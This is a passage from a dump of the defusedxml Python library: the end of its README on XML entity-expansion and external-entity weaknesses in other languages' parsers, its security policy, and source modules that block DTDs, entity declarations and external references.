bomb)\n\nCVE-2013-1665\n  External entity expansion in Python XML libraries inflicts potential\n  security flaws and DoS vulnerabilities\n\n\nOther languages / frameworks\n=============================\n\nSeveral other programming languages and frameworks are vulnerable as well. A\ncouple of them are affected by the fact that libxml2 up to 2.9.0 has no\nprotection against quadratic blowup attacks. Most of them have potential\ndangerous default settings for entity expansion and external entities, too.\n\nPerl\n----\n\nPerl's XML::Simple is vulnerable to quadratic entity expansion and external\nentity expansion (both local and remote).\n\n\nRuby\n----\n\nRuby's REXML document parser is vulnerable to entity expansion attacks\n(both quadratic and exponential) but it doesn't do external entity\nexpansion by default. In order to counteract entity expansion you have to\ndisable the feature::\n\n  REXML::Document.entity_expansion_limit = 0\n\nlibxml-ruby and hpricot don't expand entities in their default configuration.\n\n\nPHP\n---\n\nPHP's SimpleXML API is vulnerable to quadratic entity expansion and loads\nentities from local and remote resources. The option ``LIBXML_NONET`` disables\nnetwork access but still allows local file access. ``LIBXML_NOENT`` seems to\nhave no effect on entity expansion in PHP 5.4.6.\n\n\nC# / .NET / Mono\n----------------\n\nInformation in `XML DoS and Defenses (MSDN)`_ suggest that .NET is\nvulnerable with its default settings. The article contains code snippets\nhow to create a secure XML reader::\n\n  XmlReaderSettings settings = new XmlReaderSettings();\n  settings.ProhibitDtd = false;\n  settings.MaxCharactersFromEntities = 1024;\n  settings.XmlResolver = null;\n  XmlReader reader = XmlReader.Create(stream, settings);\n\n\nJava\n----\n\nUntested. The documentation of Xerces and its `Xerces SecurityMananger`_\nsounds like Xerces is also vulnerable to billion laugh attacks with its\ndefault settings. It also does entity resolving when an\n``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the\ndefault setting here.\n\nJava specialists suggest to have a custom builder factory::\n\n  DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();\n  builderFactory.setXIncludeAware(False);\n  builderFactory.setExpandEntityReferences(False);\n  builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);\n  # either\n  builderFactory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", True);\n  # or if you need DTDs\n  builderFactory.setFeature(\"http://xml.org/sax/features/external-general-entities\", False);\n  builderFactory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", False);\n  builderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", False);\n  builderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-dtd-grammar\", False);\n\n\nTODO\n====\n\n* DOM: Use xml.dom.xmlbuilder options for entity handling\n* SAX: take feature_external_ges and feature_external_pes (?) into account\n* test experimental monkey patching of stdlib modules\n* improve documentation\n\n\nLicense\n=======\n\nCopyright (c) 2013-2023 by Christian Heimes <christian@python.org>\n\nLicensed to PSF under a Contributor Agreement.\n\nSee https://www.python.org/psf/license for licensing details.\n\n\nAcknowledgements\n================\n\nBrett Cannon (Python Core developer)\n  review and code cleanup\n\nAntoine Pitrou (Python Core developer)\n  code review\n\nAaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)\n  Many thanks to Aaron, Ben and Michael from the Ruby community for their\n  report and assistance.\n\nThierry Carrez (OpenStack)\n  Many thanks to Thierry for his report to the Python Security Response\n  Team on behalf of the OpenStack security team.\n\nCarl Meyer (Django)\n  Many thanks to Carl for his report to PSRT on behalf of the Django security\n  team.\n\nDaniel Veillard (libxml2)\n  Many thanks to Daniel for his insight and assistance with libxml2.\n\nsemantics GmbH (https://www.semantics.de/)\n  Many thanks to my employer semantics for letting me work on the issue\n  during working hours as part of semantics's open source initiative.\n\n\nReferences\n==========\n\n* `XML DoS and Defenses (MSDN)`_\n* `Billion Laughs`_ on Wikipedia\n* `ZIP bomb`_ on Wikipedia\n* `Configure SAX parsers for secure processing`_\n* `Testing for XML Injection`_\n\n.. _defusedxml package: https://github.com/tiran/defusedxml\n.. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml\n.. _defusedexpat package: https://github.com/tiran/defusedexpat\n.. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat\n.. _expat parser: https://libexpat.github.io/\n.. _billion laughs protection: https://libexpat.github.io/doc/api/latest/#billion-laughs\n.. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf\n.. _Billion Laughs: https://en.wikipedia.org/wiki/Billion_laughs\n.. _XML DoS and Defenses (MSDN): https://msdn.microsoft.com/en-us/magazine/ee335713.aspx\n.. _ZIP bomb: https://en.wikipedia.org/wiki/Zip_bomb\n.. _DTD: https://en.wikipedia.org/wiki/Document_Type_Definition\n.. _PI: https://en.wikipedia.org/wiki/Processing_Instruction\n.. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html\n.. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html\n.. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)\n.. _Xerces SecurityMananger: https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html\n.. _XML Inclusion: https://www.w3.org/TR/xinclude/#include_element\n.. _bpo-17239: https://github.com/python/cpython/issues/61441\n.. _lxml FAQ: https://lxml.de/FAQ.html#how-do-i-use-lxml-safely-as-a-web-service-endpoint\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\n| Version | Supported          |\n| ------- | ------------------ |\n| 0.8.0   | :white_check_mark: |\n| 0.7.1   | :white_check_mark: |\n| < 0.7.1 | :x:                |\n\n## Reporting a Vulnerability\n\nPlease report security issues to christian@python.org\n"
  },
  {
    "path": "defusedxml/ElementTree.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.etree.ElementTree facade\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nimport sys\nimport warnings\nfrom xml.etree.ElementTree import ParseError\nfrom xml.etree.ElementTree import TreeBuilder as _TreeBuilder\nfrom xml.etree.ElementTree import parse as _parse\nfrom xml.etree.ElementTree import tostring\n\nimport importlib\n\n\nfrom .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden\n\n__origin__ = \"xml.etree.ElementTree\"\n\n\ndef _get_py3_cls():\n    \"\"\"Python 3.3 hides the pure Python code but defusedxml requires it.\n\n    The code is based on test.support.import_fresh_module().\n    \"\"\"\n    pymodname = \"xml.etree.ElementTree\"\n    cmodname = \"_elementtree\"\n\n    pymod = sys.modules.pop(pymodname, None)\n    cmod = sys.modules.pop(cmodname, None)\n\n    sys.modules[cmodname] = None\n    try:\n        pure_pymod = importlib.import_module(pymodname)\n    finally:\n        # restore module\n        sys.modules[pymodname] = pymod\n        if cmod is not None:\n            sys.modules[cmodname] = cmod\n        else:\n            sys.modules.pop(cmodname, None)\n        # restore attribute on original package\n        etree_pkg = sys.modules[\"xml.etree\"]\n        if pymod is not None:\n            etree_pkg.ElementTree = pymod\n        elif hasattr(etree_pkg, \"ElementTree\"):\n            del etree_pkg.ElementTree\n\n    _XMLParser = pure_pymod.XMLParser\n    _iterparse = pure_pymod.iterparse\n    # patch pure module to use ParseError from C extension\n    pure_pymod.ParseError = ParseError\n\n    return _XMLParser, _iterparse\n\n\n_XMLParser, _iterparse = _get_py3_cls()\n\n_sentinel = object()\n\n\nclass DefusedXMLParser(_XMLParser):\n    def __init__(\n        self,\n        html=_sentinel,\n        target=None,\n        encoding=None,\n        forbid_dtd=False,\n        forbid_entities=True,\n        forbid_external=True,\n    ):\n        super().__init__(target=target, encoding=encoding)\n        if html is not _sentinel:\n            # the 'html' argument has been deprecated and ignored in all\n            # supported versions of Python. Python 3.8 finally removed it.\n            if html:\n                raise TypeError(\"'html=True' is no longer supported.\")\n            else:\n                warnings.warn(\n                    \"'html' keyword argument is no longer supported. Pass \"\n                    \"in arguments as keyword arguments.\",\n                    category=DeprecationWarning,\n                )\n\n        self.forbid_dtd = forbid_dtd\n        self.forbid_entities = forbid_entities\n        self.forbid_external = forbid_external\n        parser = self.parser\n        if self.forbid_dtd:\n            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl\n        if self.forbid_entities:\n            parser.EntityDeclHandler = self.defused_entity_decl\n            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl\n        if self.forbid_external:\n            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler\n\n    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):\n        raise DTDForbidden(name, sysid, pubid)\n\n    def defused_entity_decl(\n        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name\n    ):\n        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)\n\n    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):\n        # expat 1.2\n        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover\n\n    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):\n        raise ExternalReferenceForbidden(context, base, sysid, pubid)\n\n\n# aliases\n# XMLParse is a typo, keep it for backwards compatibility\nXMLTreeBuilder = XMLParse = XMLParser = DefusedXMLParser\n\n\ndef parse(source, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True):\n    if parser is None:\n        parser = DefusedXMLParser(\n            target=_TreeBuilder(),\n            forbid_dtd=forbid_dtd,\n            forbid_entities=forbid_entities,\n            forbid_external=forbid_external,\n        )\n    return _parse(source, parser)\n\n\ndef iterparse(\n    source,\n    events=None,\n    parser=None,\n    forbid_dtd=False,\n    forbid_entities=True,\n    forbid_external=True,\n):\n    if parser is None:\n        parser = DefusedXMLParser(\n            target=_TreeBuilder(),\n            forbid_dtd=forbid_dtd,\n            forbid_entities=forbid_entities,\n            forbid_external=forbid_external,\n        )\n    return _iterparse(source, events, parser)\n\n\ndef fromstring(text, forbid_dtd=False, forbid_entities=True, forbid_external=True):\n    parser = DefusedXMLParser(\n        target=_TreeBuilder(),\n        forbid_dtd=forbid_dtd,\n        forbid_entities=forbid_entities,\n        forbid_external=forbid_external,\n    )\n    parser.feed(text)\n    return parser.close()\n\n\nXML = fromstring\n\n\ndef fromstringlist(sequence, forbid_dtd=False, forbid_entities=True, forbid_external=True):\n    parser = DefusedXMLParser(\n        target=_TreeBuilder(),\n        forbid_dtd=forbid_dtd,\n        forbid_entities=forbid_entities,\n        forbid_external=forbid_external,\n    )\n    for text in sequence:\n        parser.feed(text)\n    return parser.close()\n\n\n__all__ = [\n    \"ParseError\",\n    \"XML\",\n    \"XMLParse\",\n    \"XMLParser\",\n    \"XMLTreeBuilder\",\n    \"fromstring\",\n    \"fromstringlist\",\n    \"iterparse\",\n    \"parse\",\n    \"tostring\",\n]\n"
  },
  {
    "path": "defusedxml/__init__.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defuse XML bomb denial of service vulnerabilities\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nimport warnings\n\nfrom .common import (\n    DefusedXmlException,\n    DTDForbidden,\n    EntitiesForbidden,\n    ExternalReferenceForbidden,\n    NotSupportedError,\n    _apply_defusing,\n)\n\n\ndef defuse_stdlib():\n    \"\"\"Monkey patch and defuse all stdlib packages\n\n    :warning: The monkey patch is an EXPERIMENTAL feature.\n    \"\"\"\n    defused = {}\n\n    with warnings.catch_warnings():\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning, module=\"defusedxml\")\n        from . import cElementTree\n    from . import ElementTree\n    from . import minidom\n    from . import pulldom\n    from . import sax\n    from . import expatbuilder\n    from . import expatreader\n    from . import xmlrpc\n\n    xmlrpc.monkey_patch()\n    defused[xmlrpc] = None\n\n    defused_mods = [\n        cElementTree,\n        ElementTree,\n        minidom,\n        pulldom,\n        sax,\n        expatbuilder,\n        expatreader,\n    ]\n\n    for defused_mod in defused_mods:\n        stdlib_mod = _apply_defusing(defused_mod)\n        defused[defused_mod] = stdlib_mod\n\n    return defused\n\n\n__version__ = \"0.8.0rc2\"\n\n__all__ = [\n    \"DefusedXmlException\",\n    \"DTDForbidden\",\n    \"EntitiesForbidden\",\n    \"ExternalReferenceForbidden\",\n    \"NotSupportedError\",\n]\n"
  },
  {
    "path": "defusedxml/cElementTree.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.etree.cElementTree\n\"\"\"\nimport warnings\n\n# This module is an alias for ElementTree just like xml.etree.cElementTree\nfrom .ElementTree import (\n    XML,\n    XMLParse,\n    XMLParser,\n    XMLTreeBuilder,\n    fromstring,\n    fromstringlist,\n    iterparse,\n    parse,\n    tostring,\n    DefusedXMLParser,\n    ParseError,\n)\n\n__origin__ = \"xml.etree.cElementTree\"\n\n\nwarnings.warn(\n    \"defusedxml.cElementTree is deprecated, import from defusedxml.ElementTree instead.\",\n    category=DeprecationWarning,\n    stacklevel=2,\n)\n\n__all__ = [\n    \"ParseError\",\n    \"XML\",\n    \"XMLParse\",\n    \"XMLParser\",\n    \"XMLTreeBuilder\",\n    \"fromstring\",\n    \"fromstringlist\",\n    \"iterparse\",\n    \"parse\",\n    \"tostring\",\n    # backwards compatibility\n    \"DefusedXMLParser\",\n]\n"
  },
  {
    "path": "defusedxml/common.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Common constants, exceptions and helper functions\n\"\"\"\nimport sys\nimport xml.parsers.expat\n\nPY3 = True\n\n# Fail early when pyexpat is not installed correctly\nif not hasattr(xml.parsers.expat, \"ParserCreate\"):\n    raise ImportError(\"pyexpat\")  # pragma: no cover\n\n\nclass DefusedXmlException(ValueError):\n    \"\"\"Base exception\"\"\"\n\n    def __repr__(self):\n        return str(self)\n\n\nclass DTDForbidden(DefusedXmlException):\n    \"\"\"Document type definition is forbidden\"\"\"\n\n    def __init__(self, name, sysid, pubid):\n        super().__init__()\n        self.name = name\n        self.sysid = sysid\n        self.pubid = pubid\n\n    def __str__(self):\n        tpl = \"DTDForbidden(name='{}', system_id={!r}, public_id={!r})\"\n        return tpl.format(self.name, self.sysid, self.pubid)\n\n\nclass EntitiesForbidden(DefusedXmlException):\n    \"\"\"Entity definition is forbidden\"\"\"\n\n    def __init__(self, name, value, base, sysid, pubid, notation_name):\n        super().__init__()\n        self.name = name\n        self.value = value\n        self.base = base\n        self.sysid = sysid\n        self.pubid = pubid\n        self.notation_name = notation_name\n\n    def __str__(self):\n        tpl = \"EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})\"\n        return tpl.format(self.name, self.sysid, self.pubid)\n\n\nclass ExternalReferenceForbidden(DefusedXmlException):\n    \"\"\"Resolving an external reference is forbidden\"\"\"\n\n    def __init__(self, context, base, sysid, pubid):\n        super().__init__()\n        self.context = context\n        self.base = base\n        self.sysid = sysid\n        self.pubid = pubid\n\n    def __str__(self):\n        tpl = \"ExternalReferenceForbidden(system_id='{}', public_id={})\"\n        return tpl.format(self.sysid, self.pubid)\n\n\nclass NotSupportedError(DefusedXmlException):\n    \"\"\"The operation is not supported\"\"\"\n\n\ndef _apply_defusing(defused_mod):\n    assert defused_mod is sys.modules[defused_mod.__name__]\n    stdlib_name = defused_mod.__origin__\n    __import__(stdlib_name, {}, {}, [\"*\"])\n    stdlib_mod = sys.modules[stdlib_name]\n    stdlib_names = set(dir(stdlib_mod))\n    for name, obj in vars(defused_mod).items():\n        if name.startswith(\"_\") or name not in stdlib_names:\n            continue\n        setattr(stdlib_mod, name, obj)\n    return stdlib_mod\n"
  },
  {
    "path": "defusedxml/expatbuilder.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.dom.expatbuilder\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nfrom xml.dom.expatbuilder import ExpatBuilder as _ExpatBuilder\nfrom xml.dom.expatbuilder import Namespaces as _Namespaces\n\nfrom .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden\n\n__origin__ = \"xml.dom.expatbuilder\"\n\n\nclass DefusedExpatBuilder(_ExpatBuilder):\n    \"\"\"Defused document builder\"\"\"\n\n    def __init__(\n        self, options=None, forbid_dtd=False, forbid_entities=True, forbid_external=True\n    ):\n        _ExpatBuilder.__init__(self, options)\n        self.forbid_dtd = forbid_dtd\n        self.forbid_entities = forbid_entities\n        self.forbid_external = forbid_external\n\n    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):\n        raise DTDForbidden(name, sysid, pubid)\n\n    def defused_entity_decl(\n        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name\n    ):\n        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)\n\n    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):\n        # expat 1.2\n        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover\n\n    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):\n        raise ExternalReferenceForbidden(context, base, sysid, pubid)\n\n    def install(self, parser):\n        _ExpatBuilder.install(self, parser)\n\n        if self.forbid_dtd:\n            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl\n        if self.forbid_entities:\n            # if self._options.entities:\n            parser.EntityDeclHandler = self.defused_entity_decl\n            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl\n        if self.forbid_external:\n            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler\n\n\nclass DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder):\n    \"\"\"Defused document builder that supports namespaces.\"\"\"\n\n    def install(self, parser):\n        DefusedExpatBuilder.install(self, parser)\n        if self._options.namespace_declarations:\n            parser.StartNamespaceDeclHandler = self.start_namespace_decl_handler\n\n    def reset(self):\n        DefusedExpatBuilder.reset(self)\n        self._initNamespaces()\n\n\ndef parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True):\n    \"\"\"Parse a document, returning the resulting Document node.\n\n    'file' may be either a file name or an open file object.\n    \"\"\"\n    if namespaces:\n        build_builder = DefusedExpatBuilderNS\n    else:\n        build_builder = DefusedExpatBuilder\n    builder = build_builder(\n        forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external\n    )\n\n    if isinstance(file, str):\n        fp = open(file, \"rb\")\n        try:\n            result = builder.parseFile(fp)\n        finally:\n            fp.close()\n    else:\n        result = builder.parseFile(file)\n    return result\n\n\ndef parseString(\n    string, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True\n):\n    \"\"\"Parse a document from a string, returning the resulting\n    Document node.\n    \"\"\"\n    if namespaces:\n        build_builder = DefusedExpatBuilderNS\n    else:\n        build_builder = DefusedExpatBuilder\n    builder = build_builder(\n        forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external\n    )\n    return builder.parseString(string)\n"
  },
  {
    "path": "defusedxml/expatreader.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.sax.expatreader\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nfrom xml.sax.expatreader import ExpatParser as _ExpatParser\n\nfrom .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden\n\n__origin__ = \"xml.sax.expatreader\"\n\n\nclass DefusedExpatParser(_ExpatParser):\n    \"\"\"Defused SAX driver for the pyexpat C module.\"\"\"\n\n    def __init__(\n        self,\n        namespaceHandling=0,\n        bufsize=2**16 - 20,\n        forbid_dtd=False,\n        forbid_entities=True,\n        forbid_external=True,\n    ):\n        super().__init__(namespaceHandling, bufsize)\n        self.forbid_dtd = forbid_dtd\n        self.forbid_entities = forbid_entities\n        self.forbid_external = forbid_external\n\n    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):\n        raise DTDForbidden(name, sysid, pubid)\n\n    def defused_entity_decl(\n        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name\n    ):\n        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)\n\n    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):\n        # expat 1.2\n        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover\n\n    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):\n        raise ExternalReferenceForbidden(context, base, sysid, pubid)\n\n    def reset(self):\n        super().reset()\n        parser = self._parser\n        if self.forbid_dtd:\n            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl\n        if self.forbid_entities:\n            parser.EntityDeclHandler = self.defused_entity_decl\n            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl\n        if self.forbid_external:\n            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler\n\n\ndef create_parser(*args, **kwargs):\n    return DefusedExpatParser(*args, **kwargs)\n"
  },
  {
    "path": "defusedxml/lxml.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"DEPRECATED Example code for lxml.etree protection\n\nThe code has NO protection against decompression bombs.\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nimport threading\nimport warnings\n\nfrom lxml import etree as _etree\n\nfrom .common import DTDForbidden, EntitiesForbidden, NotSupportedError\n\nLXML3 = _etree.LXML_VERSION[0] >= 3\n\n__origin__ = \"lxml.etree\"\n\ntostring = _etree.tostring\n\n\nwarnings.warn(\n    \"defusedxml.lxml is no longer supported and will be removed in a future release.\",\n    category=DeprecationWarning,\n    stacklevel=2,\n)\n\n\nclass RestrictedElement(_etree.ElementBase):\n    \"\"\"A restricted Element class that filters out instances of some classes\"\"\"\n\n    __slots__ = ()\n    # blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment)\n    blacklist = _etree._Entity\n\n    def _filter(self, iterator):\n        blacklist = self.blacklist\n        for child in iterator:\n            if isinstance(child, blacklist):\n                continue\n            yield child\n\n    def __iter__(self):\n        iterator = super(RestrictedElement, self).__iter__()\n        return self._filter(iterator)\n\n    def iterchildren(self, tag=None, reversed=False):\n        iterator = super(RestrictedElement, self).iterchildren(tag=tag, reversed=reversed)\n        return self._filter(iterator)\n\n    def iter(self, tag=None, *tags):\n        iterator = super(RestrictedElement, self).iter(tag=tag, *tags)\n        return self._filter(iterator)\n\n    def iterdescendants(self, tag=None, *tags):\n        iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags)\n        return self._filter(iterator)\n\n    def itersiblings(self, tag=None, preceding=False):\n        iterator = super(RestrictedElement, self).itersiblings(tag=tag, preceding=preceding)\n        return self._filter(iterator)\n\n    def getchildren(self):\n        iterator = super(RestrictedElement, self).__iter__()\n        return list(self._filter(iterator))\n\n    def getiterator(self, tag=None):\n        iterator = super(RestrictedElement, self).getiterator(tag)\n        return self._filter(iterator)\n\n\nclass GlobalParserTLS(threading.local):\n    \"\"\"Thread local context for custom parser instances\"\"\"\n\n    parser_config = {\n        \"resolve_entities\": False,\n        # 'remove_comments': True,\n        # 'remove_pis': True,\n    }\n\n    element_class = RestrictedElement\n\n    def createDefaultParser(self):\n        parser = _etree.XMLParser(**self.parser_config)\n        element_class = self.element_class\n        if self.element_class is not None:\n            lookup = _etree.ElementDefaultClassLookup(element=element_class)\n            parser.set_element_class_lookup(lookup)\n        return parser\n\n    def setDefaultParser(self, parser):\n        self._default_parser = parser\n\n    def getDefaultParser(self):\n        parser = getattr(self, \"_default_parser\", None)\n        if parser is None:\n            parser = self.createDefaultParser()\n            self.setDefaultParser(parser)\n        return parser\n\n\n_parser_tls = GlobalParserTLS()\ngetDefaultParser = _parser_tls.getDefaultParser\n\n\ndef check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):\n    \"\"\"Check docinfo of an element tree for DTD and entity declarations\n\n    The check for entity declarations needs lxml 3 or newer. lxml 2.x does\n    not support dtd.iterentities().\n    \"\"\"\n    docinfo = elementtree.docinfo\n    if docinfo.doctype:\n        if forbid_dtd:\n            raise DTDForbidden(docinfo.doctype, docinfo.system_url, docinfo.public_id)\n        if forbid_entities and not LXML3:\n            # lxml < 3 has no iterentities()\n            raise NotSupportedError(\"Unable to check for entity declarations \" \"in lxml 2.x\")\n\n    if forbid_entities:\n        for dtd in docinfo.internalDTD, docinfo.externalDTD:\n            if dtd is None:\n                continue\n            for entity in dtd.iterentities():\n                raise EntitiesForbidden(entity.name, entity.content, None, None, None, None)\n\n\ndef parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):\n    if parser is None:\n        parser = getDefaultParser()\n    elementtree = _etree.parse(source, parser, base_url=base_url)\n    check_docinfo(elementtree, forbid_dtd, forbid_entities)\n    return elementtree\n\n\ndef fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):\n    if parser is None:\n        parser = getDefaultParser()\n    rootelement = _etree.fromstring(text, parser, base_url=base_url)\n    elementtree = rootelement.getroottree()\n    check_docinfo(elementtree, forbid_dtd, forbid_entities)\n    return rootelement\n\n\nXML = fromstring\n\n\ndef iterparse(*args, **kwargs):\n    raise NotSupportedError(\"defused lxml.etree.iterparse not available\")\n"
  },
  {
    "path": "defusedxml/minidom.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.dom.minidom\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nfrom xml.dom.minidom import _do_pulldom_parse\nfrom . import expatbuilder as _expatbuilder\nfrom . import pulldom as _pulldom\n\n__origin__ = \"xml.dom.minidom\"\n\n\ndef parse(\n    file, parser=None, bufsize=None, forbid_dtd=False, forbid_entities=True, forbid_external=True\n):\n    \"\"\"Parse a file into a DOM by filename or file object.\"\"\"\n    if parser is None and not bufsize:\n        return _expatbuilder.parse(\n            file,\n            forbid_dtd=forbid_dtd,\n            forbid_entities=forbid_entities,\n            forbid_external=forbid_external,\n        )\n    else:\n        return _do_pulldom_parse(\n            _pulldom.parse,\n            (file,),\n            {\n                \"parser\": parser,\n                \"bufsize\": bufsize,\n                \"forbid_dtd\": forbid_dtd,\n                \"forbid_entities\": forbid_entities,\n                \"forbid_external\": forbid_external,\n            },\n        )\n\n\ndef parseString(\n    string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True\n):\n    \"\"\"Parse a file into a DOM from a string.\"\"\"\n    if parser is None:\n        return _expatbuilder.parseString(\n            string,\n            forbid_dtd=forbid_dtd,\n            forbid_entities=forbid_entities,\n            forbid_external=forbid_external,\n        )\n    else:\n        return _do_pulldom_parse(\n            _pulldom.parseString,\n            (string,),\n            {\n                \"parser\": parser,\n                \"forbid_dtd\": forbid_dtd,\n                \"forbid_entities\": forbid_entities,\n                \"forbid_external\": forbid_external,\n            },\n        )\n"
  },
  {
    "path": "defusedxml/pulldom.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.dom.pulldom\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nfrom xml.dom.pulldom import parse as _parse\nfrom xml.dom.pulldom import parseString as _parseString\nfrom .sax import make_parser\n\n__origin__ = \"xml.dom.pulldom\"\n\n\ndef parse(\n    stream_or_string,\n    parser=None,\n    bufsize=None,\n    forbid_dtd=False,\n    forbid_entities=True,\n    forbid_external=True,\n):\n    if parser is None:\n        parser = make_parser()\n        parser.forbid_dtd = forbid_dtd\n        parser.forbid_entities = forbid_entities\n        parser.forbid_external = forbid_external\n    return _parse(stream_or_string, parser, bufsize)\n\n\ndef parseString(\n    string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True\n):\n    if parser is None:\n        parser = make_parser()\n        parser.forbid_dtd = forbid_dtd\n        parser.forbid_entities = forbid_entities\n        parser.forbid_external = forbid_external\n    return _parseString(string, parser)\n"
  },
  {
    "path": "defusedxml/sax.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xml.sax\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nfrom xml.sax import InputSource as _InputSource\nfrom xml.sax import ErrorHandler as _ErrorHandler\n\nfrom . import expatreader\n\n__origin__ = \"xml.sax\"\n\n\ndef parse(\n    source,\n    handler,\n    errorHandler=_ErrorHandler(),\n    forbid_dtd=False,\n    forbid_entities=True,\n    forbid_external=True,\n):\n    parser = make_parser()\n    parser.setContentHandler(handler)\n    parser.setErrorHandler(errorHandler)\n    parser.forbid_dtd = forbid_dtd\n    parser.forbid_entities = forbid_entities\n    parser.forbid_external = forbid_external\n    parser.parse(source)\n\n\ndef parseString(\n    string,\n    handler,\n    errorHandler=_ErrorHandler(),\n    forbid_dtd=False,\n    forbid_entities=True,\n    forbid_external=True,\n):\n    from io import BytesIO\n\n    if errorHandler is None:\n        errorHandler = _ErrorHandler()\n    parser = make_parser()\n    parser.setContentHandler(handler)\n    parser.setErrorHandler(errorHandler)\n    parser.forbid_dtd = 